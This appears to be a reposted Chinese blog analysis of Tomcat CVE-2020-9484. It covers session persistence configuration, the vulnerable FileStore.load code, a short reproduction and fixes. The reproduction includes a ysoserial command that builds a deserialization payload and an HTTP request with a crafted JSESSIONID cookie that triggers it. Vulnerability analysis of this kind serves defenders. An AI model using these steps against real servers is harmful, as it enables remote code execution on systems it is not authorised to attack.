CVE-2020-9484 tomcat session反序列化漏洞分析與復現


tomcat session持久化

簡介

對 於一個企業級應用而言,Session對象的管理十分重要。Sessio對象的信息一般情況下置於服務器的內存中,當服務器由於故障重啟,或應用重新加載 時候,此時的Session信息將全部丟失。為了避免這樣的情況,在某些場合可以將服務器的Session數據存放在文件系統或數據庫中,這樣的操作稱為 Session對象的持久化。Session對象在持久化時,存放在其中的對象以序列化的形式存放,這就是為什么一般存放在Session中的數據需要實 現可序列化接口(java.io.Serializable)的原因了。
    當一個Session開始時,Servlet容器會為Session創建一個HttpSession對象。Servlet容器在某些情況下把這些 HttpSession對象從內存中轉移到文件系統或數據庫中,在需要訪問 HttpSession信息時再把它們加載到內存中。

實現

要完成session持久化,存放在session里的對象必須要實現java.io.Serializable 接口。Session的持久化是由Session Manager來管理的。Tomcat提供了兩個實現類:

  1. org.apache.catalina.session.StandardManager  (默認)
  2. org.apache.catalina.session.PersistentManager

配置

存儲在本地文件中需要配置conf目錄里的context.xml文件在<Context>節點下添加如下<Manager>節點:

<Manager className="org.apache.catalina.session.PersistentManager" 
    debug="0"
    saveOnRestart="false"
    maxActiveSession="-1"
    minIdleSwap="-1"
    maxIdleSwap="-1"
    maxIdleBackup="-1">
    <Store className="org.apache.catalina.session.FileStore" directory="../session" />
</Manager>

CVE-2020-9484

漏洞簡介

當使用tomcat時,如果使用了tomcat提供的session持久化功能,如果存在文件上傳功能,惡意請求者通過一個流程,將能發起一個惡意請求造成服務端遠程命令執行。

影響版本

  • <= 9.0.34
  • <= 8.5.54
  • <= 7.0.103

漏洞分析

根據上面配置的className="org.apache.catalina.session.FileStore" ,我們去尋找tomcat源碼。這里我使用tomcat7.0.100的代碼。

查看FileStore的load方法,代碼如下

    public Session load(String id) throws ClassNotFoundException, IOException {
        // Open an input stream to the specified pathname, if any
        File file = file(id);
        Context context = (Context) getManager().getContainer();
        FileInputStream fis = null;
        ObjectInputStream ois = null;
        Loader loader = null;
        ClassLoader classLoader = null;
        ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();
        try {
            fis = new FileInputStream(file.getAbsolutePath());
            loader = context.getLoader();
            ois = getObjectInputStream(fis);

            StandardSession session = (StandardSession) manager.createEmptySession();
            session.readObjectData(ois);
            session.setManager(manager);
            return session;

這里我們可以很明顯的看出,load方法中,根據打開名為id的文件,將文件中的內容作為反序列化的輸入。並且tomcat未過濾諸如../等危險目錄。如果配合任意文件上傳,傳入一個gadget,並調用JSESSION讓tomcat加載該上傳文件,即可完成反序列化攻擊。

當然,在新版tomcat中,通過驗證JSESSION的路徑,解決該反序列化漏洞


poc

1. 使用ysoserial生成一個反序列化文件

java -jar ysoserial.jar CommonsCollections2 "calc" > /tmp/22222.session

2. 通過JSESSION加載惡意的session持久化文件

GET /bug/api HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=evilFIle

修復方案

  1. 檢查是否使用tomcat的session持久化功能,如果有,建議關閉
  2. 檢查項目中文件上傳功能是否存在任意上傳,這里任意上傳指的是可以上傳非jsp文件且可以控制上傳文件名后綴為session
  3. 升級tomcat至最新版本


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM